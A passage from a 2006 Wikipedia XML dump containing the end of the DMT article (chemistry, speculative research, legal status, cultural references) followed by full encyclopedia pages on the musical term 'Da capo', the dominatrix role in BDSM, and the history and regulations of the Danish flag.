DMT is a derivative of [[tryptamine]] with two additional [[methyl]] groups at the [[amine]] nitrogen [[atom]]. DMT is often [[Chemical synthesis|synthesized]] by the [[Speeter-Anthony synthesis]] from [[indole]] using [[oxalyl chloride]], [[dimethylamine]], and [[lithium aluminium hydride]] as [[reagents]]. DMT is usually used in its [[Base (chemistry)|base]] form, but it is more stable as a salt, e.g. as a [[fumarate]]. In contrast to DMT's base, its salts are water-soluble. DMT in solution degrades relatively fast and should be stored protected from air and light in a freezer.

== Speculations ==
Several speculative and as yet untested hypotheses suggest that [[endogenous]] DMT, produced in the human [[brain]], is involved in certain [[psychology|psychological]] and [[neurology|neurological]] states. As DMT is naturally produced in small amounts in humans and other mammals[http://www.erowid.org/chemicals/dmt/dmt_journal.shtml] (although the mechanism is not yet understood), some believe it plays a role in [[dream]]ing, [[near-death experience]]s and other mystical states. It has been speculated by the researcher [[Jace Callaway]] that DMT might be connected with visual [[dream]]ing. It is also speculated that DMT can be found in elevated amounts during times of visual dreaming or after near-death experiences.

Writers on DMT include [[Terence McKenna]] and [[Jeremy Narby]], though scientists who study psychedelic drugs treat their writings with skepticism. McKenna writes of his experiences with DMT in which he encounters entities he describes as &quot;Self-Transforming [[Machine Elves]]&quot;. Other users report visitation from external intelligences attempting to impart information. These Machine Elf experiences are said to be shared by many DMT users.  From a researcher's perspective, perhaps best known is [[Rick Strassman]]'s ''DMT: The Spirit Molecule'' (ISBN 0892819278); Strassman also proposed that DMT is made in the [[pineal gland]], although this is only speculation.

== Legal status ==
DMT is classified in the [[United States]] as a [[Controlled Substances Act | Schedule I]] drug.  In December of 2004, the [[United States Supreme Court|Supreme Court]] lifted a stay thereby allowing the Brazil-based [[Uniao do Vegetal]] church to use hoasca tea (containing DMT) in their Christmas services that year.  In ''[[Gonzales v. O Centro Espírita Beneficente União do Vegetal]]'', the Supreme Court heard arguments on November 1st, 2005 and unanimously ruled in [[February]] [[2006]] that the U.S. federal government must allow the UDV to import and consume the tea for religious ceremonies under the 1993 [[Religious Freedom Restoration Act]].

DMT is classified in [[Canada]] as a Schedule III drug.

DMT, '''along with most of its plant sources''', is classified in [[France]] as a ''stupéfiant''.

DMT is classified in the [[United Kingdom]] as a Schedule I/Class A drug.

In [[Brazil]] there are a number of religious movements based on the use of Ayahuasca, usually in an [[spiritism|animistic]] context that may be shamanistic or, more often, mixed with [[Christian]] imagery; these were legalized recently after official inquiry into the tea.

== DMT in popular culture ==
The plot of the movie [[Blueberry (movie)|Blueberry]] (based on [[Blueberry (comic)]]) touches DMT practices of [[Native Americans in the United States|Native Americans]]. The movie also features scenes of a DMT induced psychedelic experience. Recent web discussion with the creator of the film has indicated that the visions are meant to represent the use of various plants, the classic [[ayahuasca]] mixture being one of these. In addition, [[Datura]] and [[Mescaline]] related visions are conveyed.

At the start of chapter 15 of the book ''The Black Angel'' by John Connolly (copyright 2005), DMT is referenced as a drug used to control people through instilling and then relieving fear via hallucinations.

The first letters of the [[Shpongle|Shpongle's]] &quot;Divine Moments of Truth&quot; track from the ''Are You Shpongled?'' album stand for DMT.

Writer Warren Ellis mentions DMT in several of his works (including [[Global Frequency]])

William S. Burroughs' ''The Yage Letters'' is also related to his search for ayahuasca.

== External links ==
* [http://www.erowid.org/chemicals/dmt/ Vaults of Erowid - DMT]
* [http://www.erowid.org/library/books_online/tihkal/tihkal06.shtml TiHKAL - DMT]
* [http://www.erowid.org/chemicals/dmt/dmt_journal.shtml DMT Journal Articles &amp; Abstracts]
* [http://ayahuasca.com/cgi-bin/viewdocument.pl?rowid=24 From Agony to Ecstacy: The Transformative Spirit of Yajé]
* [http://releasethereality.com/ Release The Reality - Web Journal: DMT &amp; Ayahuasca info]
* [http://www.breakingopenthehead.com/ Breaking Open the Head - A shamanic journey into the heart of the psychedelic experience]
* [http://www.spiritplants.org/ Spirit Plants - Forum and other resources]
* [http://www.dmtworld.org/ DMT World message board - Discuss all things related to DMT]
* [http://www.rickstrassman.com/ Rick Strassman - &quot;DMT: The Spirit Molecule &quot; - A book on the effects of DMT]

=== Brazilian ayahuasca churches ===
*[http://www.santodaime.org/indexy.htm Santo Daime] (in English)
*[http://www.udv.org.br/english/index.html União do Vegetal] (in English)
* BBC News story: [http://news.bbc.co.uk/2/hi/americas/4458873.stm  US church's illegal tea faces ban]

{{Hallucinogenic tryptamines}}
{{Tryptamines}}

==References==
* {{cite book
 | author=[[Clifford A. Pickover]]
 | title=Sex, Drugs, Einstein, and Elves: Sushi, Psychedelics, Parallel Universes, and the Quest for Transcendence
 | publisher=Smart Publications
 | year=[[August]], [[2005]]
 | id=ISBN 1890572179
 }} (''discusses DMT and implications for our understanding of reality'')

[[Category:Psychedelic tryptamines]]
[[Category:Neurotransmitters]]

[[de:Dimethyltryptamin]]
[[fi:Dimetyylitryptamiini]]
[[fr:Diméthyltryptamine]]
[[hr:Dimetiltriptamin]]
[[nl:DMT]]
[[pl:Dimetylotryptamina]]
[[sv:DMT]]</text>
    </revision>
  </page>
  <page>
    <title>Da capo</title>
    <id>8750</id>
    <revision>
      <id>40366903</id>
      <timestamp>2006-02-20T02:19:12Z</timestamp>
      <contributor>
        <username>Kleinzach</username>
        <id>547500</id>
      </contributor>
      <text xml:space="preserve">{{Otheruses1|the music term}} 
'''Da Capo''' is a musical term in [[Italian language|Italian]], meaning ''from the beginning'', often abbreviated '''D.C.'''. It is a [[composer]] or publisher's directive to repeat the previous part of music. In small pieces this might be the same thing as a [[repeat]], but in larger works D.C. might occur after one or more repeats of small sections, indicating a return to the very beginning. Sometimes the [[composer]] describes the part to be repeated, for example: ''Menuet da capo''. In [[opera]] the repeated piece is often adorned with [[grace note]]s.

Variations of the direction are:
* '''Da Capo al fine''' (D.C. al fine): repeat from beginning up to the word '''''fine'''''.
* '''Da Capo al coda''' (D.C. al Coda): repeat from beginning to an indicated place and then play the tail part (the [[coda (music)|coda]]).

==See also==
*[[Dal Segno]]

[[Category:Musical notation]]
[[category:Opera terminology]]

[[ca:Da capo]]
[[da:Da capo]]
[[de:Da capo]]
[[es:Da capo]]
[[nl:Da Capo]]
[[pl:Da capo al fine]]</text>
    </revision>
  </page>
  <page>
    <title>Dominatrix</title>
    <id>8751</id>
    <revision>
      <id>41904670</id>
      <timestamp>2006-03-02T14:37:08Z</timestamp>
      <contributor>
        <username>Stephenb</username>
        <id>292494</id>
      </contributor>
      <comment>Revert to revision 39505799 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{cleanup-date|November 2005}}

A '''dominatrix''' or '''mistress''' is a woman who takes the [[Dominant_(BDSM)|dominant]] role in [[Bondage_(BDSM)|bondage]] and [[Discipline_(BDSM)|discipline]], [[domination and submission]] and/or [[Sadism_and_masochism|sado-masochistic]] sexual practices, which are commonly abbreviated as [[BDSM]].  The male equivalent is [[Master_(BDSM)|master]]. A common form of address for a [[Submissive_(BDSM)|submissive]] to a dominatrix is &quot;Mistress&quot; or &quot;Ma'am&quot;. Note that a dominatrix does not necessarily dominate a male partner; a dominatrix may well have a female submissive.

The term '''domme''' is a coined pseudo-French female variation of the slang ''dom'' (short for ''dominant'').  There is confusion on its pronunciation, with some pronouncing it identically to ''dom'' and some pronouncing the final ''e'' as a second syllable, e.g. saying ''dom-MAY'' or ''DOM-may''.  It appears that more [[BDSM]] authorities prefer the first pronunciation (identical to ''dom''), by analogy to one-syllable French-derived words like ''femme'' or ''blonde''. [http://mistressmatisse.blogspot.com/2004/05/bdsm-word-of-day-domme.html] [http://www.fhp-inc.com/writings/essential_domme.html] [http://www.sensuoussadie.com/sadiescolumns/writing/internetwriting.htm] [http://www.soulshaven.f2s.com/intro_terms.php3]. 

Older woman-younger man relationships are much more common in female dominant relationships than among vanilla couples. 

==Professional versus lifestyle dominatrices==

The term ''dominatrix'' is most commonly used to describe a [[professional dominant]] woman (or ''pro-domme'') who charges money to engage in fantasy play with [[submissive (BDSM)|submissive]] clients, but in reality most dominatrices are not professionals, but [[Dominant_(BDSM)|lifestyle dominant]]s.  A lifestyle dominant is a person who is assertive and in control of their relationships both inside and outside the bedroom.  

Women who engage in female domination recreationally are known as Dommes, Dominatrices, or simply Dominants, but are rarely referred to as Dominatrixes. A high percentage of dominatrices are lifestyle dominants, but some simply play the dominatrix role because it is a high-paying profession.  The rates charged by professional dominatrixes vary depending on geographic location, skill and experience level, fame and reputation, activities requested by the client and physical appearance.  Dominatrixes who have appeared in [[female domination]] videos tend to be well-known and can, therefore, command higher fees.  Typical session fees range from $100 to $350 per hour in the United States, making them comparable to fees charged by attorneys.  One such high-powered Dominatrix in Boston who has garnered great notoriety is [[Barbara Asher]].

It is common for professional dominatrixes who are also lifestyle Dommes to have both paying clients and a &quot;personal slave&quot; or slaves, who are not paying clients. A personal slave will typically perform a Domme's housework and run errands for her. A personal slave may or may not live with his Domme.  Most Dommes engage in sexual activity with personal slaves, but this is not always the case.  Some Dommes limit the sexual activity to the slave performing oral sex on them, while others engage in the full gamut of sexual activities.

Most professional dominatrixes do not consider themselves to be prostitutes. The slogan &quot;domination is not prostitution&quot; is displayed on the web sites of many professional dominatrixes.

Professional dominatrixes differ from other women in the sex industry in that they come in all shapes and sizes and ages, while most other sex workers tend to be young and slender.  There are professional dominatrixes who are heavier and in their 40s, 50s or even 60s.  Most ''famous'' dominatrices (with a few notable exceptions) are professional dominants, since most other people's sex lives remain private.

The stereotyped image of a dominatrix is of a woman wearing a rubber [[catsuit]] and [[thigh-length boots]] with high heels. Many professional dominatrices do indeed wear similar outfits for their work in order to meet client expectations. However, for non-professional dominatrices, the question &quot;what does a dominatrix wear&quot; is best answered &quot;whatever she likes&quot;.

==Notable dominatrices==
* The [[19th century|19th-century]] British dominatrix Mrs [[Theresa Berkley]], inventor of the [[Berkley Horse]].
* The American author, sex therapist, and counsellor [[Gloria Brame]] is also a lifestyle dominant.
* The French professional dominatrix [[Maîtresse Françoise]] (real name [[Annick Foucault]]) has written a book about her experiences as a dominatrix 
* [[Ilsa Strix]] is a Los Angeles based professional dominatrix who has appeared in female domination videos and has been romantically linked to ''[[The Matrix]]'' creator [[Wachowski brothers|Larry Wachowski]].
* Professional dominatrix [[Mistress Matisse]] is also a columnist for the Seattle  weekly alternative newspaper ''[[The Stranger (newspaper)|The Stranger]]'' and a noted blogger.

==Fictional dominatrices==
* The novel ''[[Venus in Furs]]'', by [[Leopold von Sacher-Masoch]], deals with a man who is so besotted with a woman he becomes her sex slave. Also, the song of the same name by [[the Velvet Underground]] deals with the same subject matter.
* The film ''[[Preaching to the Perverted]]'', starring Guinevere Turner, depicts a dominatrix.
* The [[television]] drama ''[[CSI: Crime Scene Investigation]]'' has featured a recurring professional dominatrix character, [[Lady Heather]], who is depicted in a sympathetic manner.
* The film ''[[Eating Raoul]]'' features Doris the Dominatrix, who, when off the job, is a married mother.
* The film ''[[Maîtresse]]'', starring [[Gérard Depardieu]] and [[Bulle Ogier]], depicted a professional dominant.
* The 1999 film ''[[Payback (movie)|Payback]]'', features [[Lucy Liu]] as the dominatrix Pearl.
* Several of the stories in the comic book series [[Sin City]] feature the character of Gail, a [[prostitute]] and dominatrix whose speciality is knot-tying. She is one of the authority figures in Old Town, a part of the city run by female prostitutes.  In the movie adaptation, she is played by [[Rosario Dawson]].
* The popular [[DC comics|DC]] [[comic books]] character [[Catwoman]] bears a strong dominatrix [[Motif (literature)|motif]]: her stylized mask, the skintight outfit and the whip, in combination with her strong-willed and at the same time sultry personality are the most striking of these characteristics.

==See also ==
* [[Female domination]]
* [[Professional dominant]]
* [[Fetishes (documentary)]]
* [[Humiliatrix]]

==External links==
* [http://www.sexuality.org/l/bdsm/femdom.html  The Dominatrix in Print and Other Media] &amp;mdash; detailed bibliography
* [http://www.smileandactnice.com/life/itsaliving/dominatrix/ It's a living: Dominatrix] &amp;mdash; professional domme article
* [http://dir.salon.com/people/feature/2000/04/20/teendom/index.html &quot;I Was a Teenage Dominatrix&quot;] &amp;mdash; professional domme article from ''Salon'' about award-winning author Shawna Kenney, who put herself through college in D.C. working as a dominatrix
* [http://kikadom.memebot.com/books.htm &quot;Dominatrix Lifestyle Books&quot;] List of books related to Dominatrix lifestyle 
[[Category:BDSM]]
[[Category:Women]]
[[Category:Dominatrices|*]]

[[de:Domina (BDSM)]]
[[fr:Dominatrix]]</text>
    </revision>
  </page>
  <page>
    <title>Flag of Denmark</title>
    <id>8752</id>
    <revision>
      <id>42031776</id>
      <timestamp>2006-03-03T09:22:55Z</timestamp>
      <contributor>
        <ip>83.55.255.157</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Flag of Denmark.svg|thumb|222px|The '''Dannebrog'''. This version, known as the '''Stutflag''', is used for civilian purposes. [[Image:FIAV_36.png]] Proportions: 28:37]]
The national '''flag of [[Denmark]]''', the '''Dannebrog''', is red with a white [[Nordic Cross Flag|Scandinavian cross]] that extends to the edges of the flag; the vertical part of the cross is shifted to the hoist side. The cross design of the Danish [[flag]] was subsequently adopted by the other [[Nordic countries]]: [[Flag of Sweden|Sweden]], [[Flag of Norway|Norway]], [[Flag of Finland|Finland]], and [[Flag of Iceland|Iceland]]. During the [[Denmark-Norway|Danish-Norwegian]] personal union, the Dannebrog was also the flag of Norway and continued to be, with slight modifications, until Norway adopted its current flag in 1821.

The [[HDMY Dannebrog (A540)|royal Danish yacht]] is named after the flag.

==The legendary origin of the flag==
The legend of the flag is very popular among Danes, but most consider it to be a legend though a beautiful one. The legend says that during the [[Battle of Lyndanisse]], also known as the Battle of Valdemar (Danish: &quot;''Volmerslaget''&quot;), near Reval ([[Tallinn]]) in [[Estonia]], on [[June 15|15 June]] [[1219]], the flag fell from the sky during a critical stage, resulting in Danish victory.

[[Image:Danmarks flag 1219 Lorentzen.jpg|thumb|300px|right|Dannebrog falling from the sky during the [[Battle of Lyndanisse]], [[June 15|15 June]], [[1219]]. Painted by [[Christian August Lorentzen]] in [[1809]]. Original located on ''Statens Museum for Kunst'', Denmark]]

No historical record supports this legend. The first record of the legend dates from more than 300 years after the campaign, and the first record connects the legend to a much smaller battle, though still in Estonia; the battle of Fellin ([[Viljandi]]) in [[1208]]. Though no historical support exists for the flag story in the Fellin battle either, it is not difficult to understand how a small and unknown place is replaced with the much grander battle of Reval from the Estonia campaign of King [[Valdemar II of Denmark|Valdemar II]].

This story originates from two written sources from the early [[16th century]]. 

The first is found in [[Christiern Pedersen]]'s &quot;''Danske Krønike''&quot;, which is a sequel to [[Saxo]]’s [[Gesta Danorum]], written [[1520]]-[[1523]]. It is not mentioned in connection to the campaign of King Valdemar II in Estonia, but in connection with a campaign in [[Russia]]. He also mentions that this flag, falling from the sky during the Russian campaign of King Valdemar II, is the very same flag that King [[Eric of Pomerania]] took with him when he left the country in [[1440]] after being deposed as King.

The second source is the writing of the Franciscan monk [[Petrus Olai]] (Peder Olsen) of [[Roskilde]], from [[1527]]. This record describes a battle in [[1208]] near a place called &quot;''Felin''&quot;  during the Estonia campaign of King Valdemar II. The Danes were all but defeated when a lamb-skin banner depicting a white cross falls from the sky and miraculously leads to a Danish victory. In another record by ''Petrus Olai'' called &quot;''Danmarks Tolv Herligheder''&quot; (Twelve Splendours of Denmark), in splendour number nine, the same story is re-told almost to the word, however a paragraph has been inserted correcting the year to 1219.

Whether or not these records describe a truly old oral story in existents at that time, or a [[16th century]] invented story, is not currently determined.

Some historians believe that the story by ''Petrus Olai'' refers to a source from the first half of the [[15th century]], making this the oldest reference to the falling flag.

==The continuation of the romantic legend==
The story of the original flag has a continuation that many Danes are not aware of.

According to tradition, the original flag from the Battle of Lyndanisse was used in the small campaign of [[1500]] when [[John of Denmark|King Hans]] tried to conquer [[Dithmarschen]] (in western [[Holstein]] in north [[Germany]]). The flag was lost in a devastating defeat on [[February 17|17 February]] 1500. In [[1559]], King [[Frederick II of Denmark|Frederik II]] recaptured it during his own [[Dithmarschen]] campaign. In the capitulation terms it is stated that all Danish banners lost in 1500 were to be returned.

[[Image:Hans Kniepers 1585.jpg|thumb|200px|left|One of [[Hans Knieper]]’s heroic paintings of Danish kings from [[1585]]. King [[Eric VI of Denmark|Erik Menved]] storming a castle. Note the two Danish flags. Original located on [[Kronborg|Kronborg Castle]].]]

This legend is found in two sources, [[Hans Svanning]]'s ''History of King John'' from [[1558]]-[[1559]] and [[Johan Rantzau]]'s ''History about the Last [[Dithmarschen]] War'', from [[1569]].
Both claims that this was the original flag, and consequently both writers knew the legend of the falling flag. In [[1576]], the son of ''Johan Rantzau'', [[Henrik Rantzau]], also writes about the war and the fate of the flag. He notes that the flag was in a poor condition when returned.

Sources from [[Dithmarschen]], written shortly after the battle of [[1500]], do mention banners, including the Royal banner, being captured from the Danes, but there is no mention of ''Dannebrog'' or the &quot;original&quot; flag.
It is quite plausible that the king’s personal banner as well as the leading banner of the army were both lost, as the battle was led by the King himself. However, it is more questionable if he indeed was carrying the &quot;original&quot; flag.

In a letter dated [[February 22|22 February]] [[1500]] to [[Oluf Stigsøn]], King John describes the battle, but does not mention the loss of an important flag. In fact, the entire letter gives the impression that the lost battle was noting more than an &quot;unfortunate affair&quot;.

An indication that we are dealing with multiple flags, are the [[1570]] writings of [[Niels Hemmingsøn]] regarding a bloody battle between Danes and Swedes near the Swedish town of [[Uppsala]] in [[1520]]. He writes that the &quot;Danish head banner&quot; (&quot;''Danmarckis Hoffuitbanner''&quot;) was nearly captured by the Swedes. It was saved only by the combined efforts of the banner-carrier [[Mogens Gyldenstierne]], taking multiple wounds, and a young man coming to his rescue. This young man was [[Peder Skram]]. This &quot;''Danmarckis Hoffuitbanner''&quot; was probably nothing short of the &quot;''Banner of the Realm'&quot; (''Rigsbanner''), the ''Dannebrog''.

This is however not the end of the story. A priest and historian from [[Dithmarschen]], [[Johan Neocorus]], wrote in [[1598]] that the banner captured in [[1500]], was brought to the church in [[Wohrden]] and hung there for the next 59 years, until it was returned to the Danes as part of the peace settlement in [[1559]].
[[Henrik Rantzau]] states in his writing of [[1576]] that the flag was brought to [[City of Schleswig|Slesvig city]] and placed in the cathedral, following its return.

A historian from [[Schleswig|Slesvig]], [[Ulrik Petersen]] (1656-1735), wrote in the late [[17th century]] that the flag hung in ''Slesvig'' cathedral till about [[1660]] until it simply crumbled away, thus ending its more than 400-year-old story.

Historically, it is of course impossible to prove or disprove that these records speak of the same flag. If the flag of 1208 or 1219 ever existed. Many of these legends are apparently built on earlier ones.

==Other theories of the origin of the flag==
Other origin theories have been put forth in the late 19th and early 20th century. 

[[Image:Saxo Chr P front version 002.jpg|thumb|250px|right|The Danish flag from the front page of [[Christiern Pedersen]]’s version of [[Saxo]]’s [[Gesta Danorum]], [[1514]]. Full frontpage can be seen [[:Image:Saxo Chr P front version 001.jpg|here]].]]

===Theories of the origin of the flag, #2===
The Danish historian [[Caspar Paludan-Müller]] in [[1873]] in his book &quot;''Sagnet om den himmelfaldne Danebrogsfane''&quot; put forth the theory that it is a banner sent by the [[Pope]] to the Danish King to use in his crusades in the [[Baltic countries]]. Other kings and lords certainly received such banners.

One would though imagine that if this story was true, some kind of record ought to exist of the event and presumably Danish historians would not have failed to mention it in some way. Being granted a banner by the Pope would have been a great honour, but despite the many letters of the popes relating to the [[crusades]], none of them mentions granting a banner to a King of Denmark. On the other hand, the letter in question might simply have been lost.

===Theories of the origin of the flag, #3===
A similar theory was suggested by Danish explorer, adventurer and Captain [[Johan Støckel]] in the early [[20th century]]. He suggested that it was not a pope banner to the King but a pope banner to the Churchly legate in the North, more specifically to archbishop [[Andreas Sunesøn]], which he - without the knowledge of the King – brought with him on the King's crusade in the Baltic countries, in an effort to make the army take on a Christian symbol (over the king's symbol) and thereby strengthen the power of the church.

It is unlikely that the very fair and loyal archbishop would do such a thing behind the king's back. Moreover, it is unlikely that the pope would send such a banner, given the fact that they already had one, namely the banner of the [[Knights Hospitaller]] (Danish: &quot;Johanitterne&quot;).

===Theories of the origin of the flag, #4===
A theory brought forth by the Danish historian [[Adolf Ditlev Jørgensen]] in [[1875]] in his book &quot;''Danebroges Oprindelse''&quot; is that the Danish flag ''is'' the banner of the [[Knights Hospitaller]]. He supports his theory with that the order came to Denmark in the latter half of the [[12th century]] and during the next centuries spread to major cities, like [[Odense]], [[Viborg]], [[Horsens]], [[Ribe]] and their headquarters in [[Slagelse]], so by the time of the [[Northern Crusades|Baltic crusade]], the symbol was already a known symbol in Denmark.

Furthermore he claims that [[Bishop Theodorik]], already a part initiator of the order in [[Livonia]], the [[Livonian Brothers of the Sword]], had the idea of starting a similar order in Estonia and that he was the original instigator of Bishop [[Albert of Buxhoeveden]] inquiry to King [[Valdemar II of Denmark|Valdemar II]] in 1218, that set the whole Danish participation in the Baltic crusades in motion.

In the contemporary writing of the priest [[Henry of Livonia]] from [[Riga]] it is said that Bishop Theodorik was killed during the 1219 battle, as the enemy stormed his tent, thinking it was the King's tent. Adolf Ditlev Jørgensen explains that it was Bishop Theodorik who carried the flag, well planted outside his tent, thus as an already well-known Knights Hospitaller symbol in Livonia, the enemy thought this was the King's symbol and mistakenly stormed Bishop Theodorik tent. He claims that the origin of the legend of the falling flag comes from this confusion in the battle.

Adolf Ditlev Jørgensen does not give an explanation how the white [[Maltese cross]] on red of the Knights Hospitaller, found its way to the Danish flag of 1219, given the fact that in that time it was a white cross on black. The Knights Hospitaller is a monk-order and used black dresses. The white on red warrior-cloak cannot be traced until later.

===Theories of the origin of the flag, #5===
The Danish church-historian [[L. P. Fabricius]] put up yet another theory. It is explained in his study of [[1934]], titled &quot;''Sagnet om Dannebrog og de ældste Forbindelser med Estland''&quot;. In this study he put the location to 1208 Fellin and not the Battle of Lyndanisse in 1219, based on the earliest source available about the story.

He says in this theory that it might have been Archbishop [[Andreas Sunesøn]]'s personal ecclestical banner or perhaps even the flag of Archbishop [[Absalon]]. That is based on his tireless efforts to expand [[Christianity]] to the Baltic countries and that under his initiative and supervision several smaller crusades had already been conducted in Estonia. The banner would then already be known in Estonia. He repeats the story about the flag being planted in front of Bishop Theodorik's tent which the enemy mistakenly attacks believing it to be the tent of the King.

All these theories centre on two battles in Estonia, whether it is in Fellin (1208) or Lyndanisse (1219), and thus try to explain the origin in relation to the tale brought forth over 300 years after the event.

===Theories of the origin of the flag, #6===
A much different theory is briefly discussed by ''Fabricius'' and elaborated more by [[Helga Bruhn]] in her book &quot;''Dannebrog''&quot; from [[1949]].  She claims that it is neither the battle nor the banner that is central to the tale, but rather the [[cross]] in the sky. Similar tales of appearances in the sky at critical moments, particularly of crosses, can be found all over Europe.

Bruhn mentions a battle (also mentioned by ''Fabricius'') taking place on September 10, [[1217]] between Christian knights and [[Moors|Moor]] warriors on the [[Iberian Peninsula]] near the castle [[Alcazar]], where it is said that a golden cross on white appeared in the sky, to bring victory to the Christians.
Likewise an almost identical [[Sweden|Swedish]] tale from the [[18th century]] about a yellow cross on blue appearing in [[1157]] during a Swedish battle in [[Finland]]. Probably a later invention to counter the legendary origins of the Danish flags, but never the less of the same nature.
The [[Flag of England|English flag]], the [[Saint George]]'s Cross is also claimed to have appeared in the sky during a critical battle, in this case in [[Jerusalem]] during the crusades.

The similarities to the legends is obvious. In Spain, the colours of the Pope appears in the sky, in Finland the Swedish colours. In Estonia it is the Danish colours, and in Jerusalem the English colours. Basically, these are all variations of the same legend.

Since King [[Valdemar II of Denmark|Valdamar II]] was married to the [[Portugal|Portuguese]] princess, [[Berengária of Portugal|Berengaria]], it is not unthinkable that the origin of the story, if not the flag, was the Spanish tale or a similar tale, which again might have been inspired by an even older legend.

==Earliest recorded use of the flag==
[[Image:Erik VII seal 1398.jpg|thumb|150px|left|One of the seals of [[Eric of Pomerania|Erik VII]], [[1398]]. Note the ''Dannebrog'' banner in the coat of arms]]
Danish literature of the 13th and 14th centuries remains suspiciously quiet about the national flag. Whether the flag has its origins in a divine sign, a banner of a military order, an ecclesiastical banner, or perhaps something entirely different, Danish literature is no help before the early [[15th century]].

However, several coins, seals and images exist, both foreign and domestic, from the 13th to 15th centuries and even earlier, showing flags similar to the Dannebrog. In the 19th and early 20th century, these images were used by many Danish historians, with a good flair of [[nationalism]], trying to date the origins of the flag to 1219. However, if one examines the few existing foreign sources about Denmark from the 13th to 15th centuries, it is apparent that, at least from foreign point of view; the national symbol of Denmark was not a red-and-white banner but the royal coat of arms (three blue lions of a golden shield.) This [[Coat of Arms of Denmark|coat of arms]] remains in use to this day.

An obvious place to look for documentation is in the Estonian city of Tallinn, the site of the legendary battle. In Tallinn, a coat-of-arms resembling the flag is found on several buildings and can be traced back to the middle of the [[15th century]] where it appears in the coat-of-arms of the &quot;Die Grosse Gilde&quot;, a sort of merchant consortium which greatly influenced the city's development. The symbol later became the coat-of-arms of the city. Efforts to trace it from Estonia back to Denmark have, however, been in vain.

The national [[Coat of Arms of Estonia]], three blue lions on a golden shield, is almost identical to the [[Coat of Arms of Denmark]], and its origin can be traced directly back to King [[Valdemar II]] and Danish rule in [[Estonia]] [[1219]]-[[1346]].

===Earliest undisputed link===
[[Image:55verso Dannebrog 1370.jpg|thumb|200px|right|Page 55 verso in the Dutch book [[Wapenboek Gelre]]. Displaying the earliest known undisputed colourized image of Dannebrog]]
The earliest source that indisputably links the red flag with a white cross to a Danish King, and to the realm itself, is found in a [[Netherlands|Dutch]] register of coats-of-arms “[[Wapenboek Gelre]]”, written between [[1340]] and [[1370]] (some sources say [[1378]] or [[1386]]). Most historians claim that the book was written by [[Geldre Claes Heinen]]. The book displays some 1700 coats-of-arms from all over Europe, in colour. It is now located on the Royal Library of Brussels (the &quot;[[Bibliothèque royale Albert Ier]]&quot;).

On page 55 verso we find the Danish coat-of-arms with a helmet on top with horns. On the right horn is a Danish banner. The text left of the coat of arms says “die coninc van denmarke” (''The King of Denmark''). This is the earliest known undisputed colour rendering of the Dannebrog.

This image has been used to acknowledge a previously disputed theory that the cross found in [[Valdemar IV of Denmark|Valdemar Atterdag]]'s coats of arms located in his Danælog seal (&quot;''Rettertingsseglet''&quot;) from [[1356]] is indeed the cross from the Danish flag.

This image from &quot;''Wapenboek Gelre''&quot; is near identical found in an old coats of arms book from the [[15th century]] now located in the National Archives of Sweden, (&quot;''Riksarkivet''&quot;)

From Queen [[Margaret I of Denmark|Margaret I]] and King [[Eric of Pomerania|Erik VII]] time we also have a case that undisputedly links Dannebrog to Denmark. The royal seal of King ''Erik VII'' from [[1398]] - the first combined coat of arms found in Denmark - shows the flag twice; the cross that separates the four coats-of-arms is the cross of the Dannebrog and the coat of arms representing Denmark show the three lions holding a Dannebrog banner.

==Laws and flag variations==
Denmark does not have a specified flag law, but various regulations and rules spread out over many documents, from King [[Christian IV of Denmark|Christian IV]]'s time till today, can be found.
The quest to unite them into a specified flag law have been brought forth many times, especially in the 20th century, but it never amounted to anything.

===National flag===
The size and shape of the [[coufhordie]] flag (&quot;''Koffardiflaget''&quot;) for merchant ships is given in the regulation of [[June 11]], [[1748]], which says: ''A red flag with a white cross with no split end. The white cross must be 1/7 of the flags height. The two first fields must be square in form and the two outer fields most be 6/4 lengths of those''.

The proportions are thus: 3:1:3 vertically and 3:1:4.5 horizontally. This definition are the absolute proportions for the Danish national flag to this day, for both the civil version of the flag (&quot;''Stutflaget''&quot;), as well as the merchant flag (&quot;''Handelsflaget''&quot;). Both flags are identical.

A somewhat curious regulation came in [[1758]] concerning Danish ships sailing in the [[Mediterranean]]. These had to carry the King's cypher logo in the center of the flag, to distinguish them from Maltese ships, due to the similarity of the flag of the Order of St. John (a.k.a. the [[Knights Hospitaller]]). To the best of knowledge, this regulation has never been revoked, however it is probably no longer done.

According to the regulation of [[June 11]], [[1748]] the colour was simply red, which is common known today as &quot;Dannebrog rød&quot; (&quot;''Dannebrog red''&quot;). The only available red fabric colour in [[1748]] was made of [[bracken root]], which make a brownish red. The private company, [[Dansk Standard]], regulation number 359 of [[2005]], defines the red colour of the flag as [[Pantone]] 186c. No official nuance definition of &quot;Dannebrog rød&quot; exists.

During the next about 150 years nobody paid much attention to actually abide fully to the proportions of the flag given in the [[1748]] regulation, not even the government.
As late as [[1892]] it was stated in a series of regulations that the correct lengths of the two last fields in the flag were 6/4. Some interested in the matter made inquires into the issue and concluded that the 6/4 length would make the flag look blunt. Any new flag would also quickly become unlawful, due to wear and tear. They also noted that the flag currently used had lengths, of the last two fields, anywhere between 7/4 to 13/6.

So in May [[1893]] a new regulation to all chiefs of police, stated that the police should not intervene, if the two last fields in the flag were longer than 6/4 as long as these did not exceed 7/4, and provided that this was the only rule violated.

This regulation is still in effect today and thus the legal proportions of the National flag is today anywhere between ''3:1:3 width / 3:1:4.5 length'' and ''3:1:3 width / 3:1:5.25 length''.

That some confusion still exists in this matter can be seen from the regulation of [[May 4]], [[1927]], which once again states that Danish merchant ships have to fly flags according to the regulation of [[1748]].

===Splitflag===
[[image:Flag of Denmark (state).svg|thumb|250px|right|The ''Splitflag'' - the Danish State Flag. [[Image:FIAV_26.png]] Proportions: 56:107]]
[[image:Naval Ensign of Denmark.svg|thumb|250px|right|The ''Orlogsflag'' - the Danish Naval Flag. [[Image:FIAV_01.png]] Proportions: 56:107]]
The ''Splitflag'' or ''Orlogsflag'' have similar specifications, but legally, they are two different flags. The ''Splitflag'' is a Danish flag ending in a swallow-tail, it is ''Dannebrog red'', and is used on land. The ''Orlogsflag'' is a ''Splitflag'' with a deeper red colour and is only used on sea.

The ''Orlogsflag'' with no markings, may only be used by the [[Royal Danish Navy]]. There are though a few exceptions to this. A few institutions have been allowed to fly the clean ''Orlogsflag''. Same flag with markings has been approved for a few dozen companies and institutions over the years.

Furthermore, the ''Orlogsflag'' is only described as such if it has no additional markings. Any swallow-tail flag, no matter the color, is called a ''Splitflag'' provided it bears additional markings. 

